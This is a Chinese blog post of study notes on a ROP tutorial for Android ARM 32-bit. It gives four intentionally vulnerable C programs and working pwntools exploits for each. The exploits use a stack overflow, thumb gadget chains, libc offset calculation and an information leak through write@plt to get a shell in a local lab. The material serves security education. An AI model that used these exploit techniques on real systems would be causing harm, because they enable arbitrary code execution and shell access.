一步一步学ROP之Android ARM 32位篇 -- 阅读笔记及实践

0x00 前言

  本文是蒸米的《一步一步学ROP之Android ARM 32位篇》读书笔记,自己动手做了一遍,记录了遇到不一样的地方和问题,4个程序全部运行成功。


0x01 简单的例子(level6)

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void callsystem()
{
    system("/system/bin/sh");
}
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) 
{
    if (argc==2&&strcmp("passwd",argv[1])==0)
	callsystem();
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)。随后用ndk-build进行编译。


ndk-build
adb push libs/armeabi/level6 /data/local/tmp/

adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6

adb forward tcp:10001 tcp:10001

现在我们尝试连接一下:
$ nc 127.0.0.1 10001
Hello, World
发现工作正常。


 因为callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:

#!/usr/bin/env python
from pwn import *
 
#p = process('./level6')
p = remote('127.0.0.1',10001)

p.recvuntil('\n')

callsystemaddr = 0x00008500 + 1
payload =  'A'*132 + p32(callsystemaddr)

p.send(payload)
 
p.interactive()

执行效果如下:

$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0


为什么是0x00008500?


Ida看的很清楚。


为什么是132?


进入函数前,程序先将LR寄存器(返回地址)入栈,然后开辟0x84(132)大小的栈空间,并且将栈顶指针赋值给了buf[128],将开辟的栈帧溢出即可覆盖到返回地址。


0x02 寻找thumb gadgets(level7)

原始程序

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
 
char *str="/system/bin/sh";
 
void callsystem()
{
    system("id");
}
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) 
{
    if (argc==2&&strcmp("passwd",argv[1])==0)
	callsystem();
    write(STDOUT_FILENO, "Hello, World\n", 13);   
    vulnerable_function();
}

因为未知的原因,没有找到需要的gadgets,所以将sqlite3的源码添加进去,这样编译出来的level7有400多kb,找到的gadgets就多了。


./ROPgadget.py --binary=./level7 --thumb | grep "ldr r0"


0x00028fe6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a6a2 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038376 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00034b42 : ldr r0, [sp, #0x10] ; add sp, #0x44 ; pop {r4, r5, r6, r7, pc}
0x00056ca4 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; add r3, pc ; ldr r3, [r3, #0x1c] ; blx r3
0x0002cf62 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; bl #0x19522 ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00028ffe : ldr r0, [sp, #0x10] ; adds r1, r7, #0 ; blx r3
0x0001a0fe : ldr r0, [sp, #0x10] ; adds r2, r6, #0 ; add r3, sp, #0x18 ; blx r4
0x0000e35c : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x0000c0ae : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x3c ; pop {r4, r5, r6, r7, pc}


在这些gadgets中,我们成功找到了一个gadget可以符合我们的要求:
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}


接下来就是找system和"/system/bin/sh"的地址



要注意的是,因为system()函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:

#!/usr/bin/env python
from pwn import *
 
#p = process('./level7')
p = remote('127.0.0.1',10001)

p.recvuntil('\n')

#0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
gadget1 = 0x00015234 + 1

#.rodata:00061EB5 aSystemBinSh    DCB "/system/bin/sh",0
r0 = 0x00061EB5

#.plt:000093D4 ; int system(const char *)
systemaddr = 0x000093D4 

payload =  '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)

p.send(payload)
 
p.interactive()

执行方法同上。


payload =  '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)
这条指令是怎么来的?
'\x00'*132 + p32(gadget1)解释同上
"\x00"*0x10对应ldr r0, [sp, #0x10]的[sp, #0x10]部分
p32(r0)对应ldr r0, [sp, #0x10]的ldr r0部分
填充数据"\x00"*0x18计算方法:  
add sp, #0x1c ;          回收0x1c个字节栈空间
pop {r4, r5, r6, r7, pc}     出栈0x4*4个字节,然后到pc寄存器
因此需要的填充数据个数为: 0x1c + 0x4*4 - "\x00"*0x10 - 0x4(p32(r0)) = 0x18


0x03 Android上的ASLR(level8)

Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc,libandroid_runtime等)和dalvik - heap的基址都会是相同的,并且和zygote的内存布局一模一样。


假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:

#include <stdio.h>

#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void getsystemaddr()
{
    void* handle = dlopen("libc.so", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);    // 输出system地址
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
    getsystemaddr();
    write(STDOUT_FILENO, "Hello, World\n", 13);    
    vulnerable_function();
}

这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。因此这个gadgets能满足我们的需求:
0x00033602 : ldr r0, [sp] ; pop {r1, r2, r3, pc}


接下来就是在libc.so中找system()和"/system/bin/sh"的位置:




需要根据system()在内存中的地址进行偏移量的计算才能够成功的找到gadgets和"/system/bin/sh"在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:

#!/usr/bin/env python
from pwn import *
 
#p = process('./level8')
p = remote('127.0.0.1',10001)

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

p.recvuntil('\n')

raw_input()

#.text:0001D080                 EXPORT system                libc

#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
gadget1 = system_addr + (0x00034ace - 0x0001D080)
print "gadget1 = " + hex(gadget1)

#.rodata:00040AC8 aSystemBinSh    DCB "/system/bin/sh",0     libc
r0 = system_addr + (0x00040AC8 - 0x0001D080) - 1
print "/system/bin/sh addr = " + hex(r0)

payload =  '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)

p.send(payload)
 
p.interactive()

执行方法同上
Payload计算方法同上


0x04 Android上的information leak(level9)

在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
原始程序:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
 
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
 
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

同样使用sqlite3拓展代码。

虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。



0x00028fb6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a672 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038346 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}


0x0001055c : pop {r0, r2, r6, pc}
0x00048724 : pop {r0, r3, r6, r7, pc}
0x00013fc2 : pop {r1, r2, r3, pc}


#!/usr/bin/env python
from pwn import *
 
#p = process('./level7')
p = remote('127.0.0.1',10001)
 
p.recvuntil('\n')

raw_input()

#0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} 
gadget1 = 0x00015204 + 1

#0x00013fc2 : pop {r1, r2, r3, pc}
gadget2 = 0x00013fc2 + 1

#.text:000127C8 vulnerable_function
ret_to_vul = 0x000127C8 + 1
 
#write(r0=1, r1=0x0006BF38, r2=4)
r0 = 1
r1 = 0x0006BF38
r2 = 4
r3 = 0
r5 = 0
r6 = 0
#.plt:0x00009404 write              
write_addr_plt = 0x00009404
 
payload =  '\x00'*132 + p32(gadget1) + '\x00'*0x10 + p32(r0) + '\x00'*0x18 + p32(gadget2) + p32(r1) + p32(r2) + p32(r3) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)
 
p.send(payload)

write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

#.rodata:00040AC8 aSystemBinSh  DCB "/system/bin/sh",0        libc
#.text:0001D080                 EXPORT system               libc
#.text:00039168			      EXPORT write                 libc
 
r0 = write_addr + (0x00040AC8 - 0x00039168) - 1
system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1
 
print 'r0=' + hex(r0)
print 'system_addr=' + hex(system_addr)
 
payload2 = '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(system_addr)
 
p.send(payload2)
 
p.interactive()

Payload计算方法:
前面部分同前
'\x00' * 0x84 + p32(ret_to_vul)

BLX read后
ADD SP, SP, #0x84
POP {PC}

第一次溢出后,再次返回vulnerable_function,准备第二次溢出


执行方法:


r0 = write_addr + (0x00040AC8 - 0x00039168) - 1
system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1
作者的原版r0行没有-1,我运行的结果是不减一指向的字符串是”system/bin/sh”, 缺少一个’/’。
system_addr行原版+1,我运行的结果是+1程序奔溃。


所有资源下载:http://download.csdn.net/detail/andy7002/9865073

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值